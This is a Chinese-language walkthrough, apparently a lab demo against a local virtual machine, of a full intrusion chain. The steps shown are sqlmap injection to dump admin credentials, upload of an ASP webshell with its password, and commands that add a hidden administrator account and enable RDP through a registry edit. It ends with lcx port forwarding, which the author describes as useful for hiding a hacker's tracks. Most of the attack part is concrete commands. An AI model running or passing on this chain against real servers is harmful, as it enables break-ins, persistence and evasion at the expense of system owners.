漏洞本地演示0x1

       第一次跟项目，有点紧张不知所措，只好一步一步来，希望客户能够满意。。。

白小小说要有完全的流程，在下的本意是注入》getshell》提权远程访问。

下面是流程。

================没什么用但是为了美观的分割线==================

扫描发现存在SQL注入漏洞

注入点：http://localhost/CompHonorBig.asp?id=37 可能存在sql注入漏洞 

==========================================================================================

1.在sqlmap中进行注入查询

(1)

通过命令 sqlmap.py -u “http://localhost/compHonorBig.asp?id=37”--tables #查询表名

存在以下表名

(2)

猜测管理员账号密码在admin表中

通过命令 sqlmap.py -u “http://localhost/compHonorBig.asp?id=37”-D admin --columns#查询admin表中列名

(3)

继续查询管理员账号密码 sqlmap.py -u “http://localhost/compHonorBig.asp?id=37”-D admin -C username,password --dump #查询管理员账号密码

      查询结果

 ===================================================================

   2.上传shell

     (1)找到后台地址 为http://localhost/admin/login.asp

     进入后台

 

(2)

   添加运行上传文件类型asp

 (3)

   找到一个上传点

 

(4)

   尝试上传asp木马

 

 (5)

   上传成功

==================================================================

   3.webshell中提权管理

    (1)     

    访问wenshell地址 ：http://localhost/UploadFiles/20161226122028978.asp

                                  输入密码 heroes 进入

(2)

      

whoami查看发现是system权限，没有安装防护软件

直接cmd命令下添加用户

  命令为：/c net user lzyh lzyh /add & net localgroup administrators lzyh /add

 

成功

     (3)

   查看开放端口

可以看到3389端口是关闭的

   需要手动开启

   开启3389

    命令为:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

3389是远程连接段口，开启即可远程连接

          查看是否成功打开3389

=============================================================================================

  4.lcx端口转发

   （1）

    本机先开启lcx转发

（2）

   在webshell内 上传lcx.exe到uploadfile目录下

   执行cmd命令

 （3）

   在进行登录访问

 

（4）

     输入刚才添加的用户

    进入到服务器

tips：一般来说能直接访问到目标就不用转发，要转发先转发到公网在连接上去

     转发端口作用是将内网数据转发到公网，让局域网和广域网能够访问到内容数据并且利于黑客隐藏自己踪迹。

=========================其实在cmd命令下查看ip，可以看到如下===============================

mstsc直接访问 192.168.74.128

即可进入 无须lcx端口转发

其实是不需要lcx转发的，白小小说客户一定要看到lcx转发，无奈我又没有公网服务器，只好假设虚拟机连接。